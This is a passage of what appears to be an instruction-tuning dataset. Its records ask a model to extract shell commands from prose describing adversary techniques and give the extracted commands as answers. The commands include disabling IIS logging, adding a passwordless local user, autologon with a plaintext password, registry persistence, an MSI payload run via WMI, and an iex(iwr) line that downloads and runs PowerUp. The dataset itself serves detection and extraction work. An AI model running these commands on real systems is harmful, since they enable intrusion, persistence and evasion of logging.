⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For disabling HTTP logging on an IIS server similar to Bronze Union's methods, execute this command: C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:true. The operation requires HTTP logging configurations to be unlocked beforehand.",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe set config \\\"#{website_name}\\\" /section:httplogging /dontLog:true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A new user can be added in PowerShell via the command: New-LocalUser -Name \"#{username}\" -NoPassword. This will display the account information, and verification can be done by observing the output of \"net user\" in PowerShell or CMD, which should include the new user \"T1136.001_PowerShell\".",
    "output": "{\"command_list\": [\"New-LocalUser -Name \\\"#{username}\\\" -NoPassword\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify network configuration information, execute the following command, which will spawn multiple commands and output the results via stdout: \nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"netstat -Sp tcp\"; else cmd=\"netstat -ant\"; fi;\nif [ -x \"$(command -v arp)\" ]; then arp -a; else echo \"arp is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ifconfig)\" ]; then ifconfig; else echo \"ifconfig is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ip)\" ]; then ip addr; else echo \"ip is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v netstat)\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \"netstat is missing from the machine. skipping...\"; fi;",
    "output": "{\"command_list\": [\"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then cmd=\\\"netstat -Sp tcp\\\"; else cmd=\\\"netstat -ant\\\"; fi;\\nif [ -x \\\"$(command -v arp)\\\" ]; then arp -a; else echo \\\"arp is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v ifconfig)\\\" ]; then ifconfig; else echo \\\"ifconfig is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v ip)\\\" ]; then ip addr; else echo \\\"ip is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v netstat)\\\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \\\"netstat is missing from the machine. skipping...\\\"; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable automatic logon using Registry Editor, run the following command: New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword  -Value password1 -Force",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultUserName -Value Administrator -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultDomainName -Value contoso.com -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultPassword  -Value password1 -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute an MSI with embedded JScript code, use the WMI Win32_Product class via this command: Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }",
    "output": "{\"command_list\": [\"Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the system language, you can check the locale configuration file by running the following command: [ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale",
    "output": "{\"command_list\": [\"[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you want to substitute registry settings with a custom program that executes upon OS-triggered activities, run this command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\cleanuppath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\cleanuppath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; 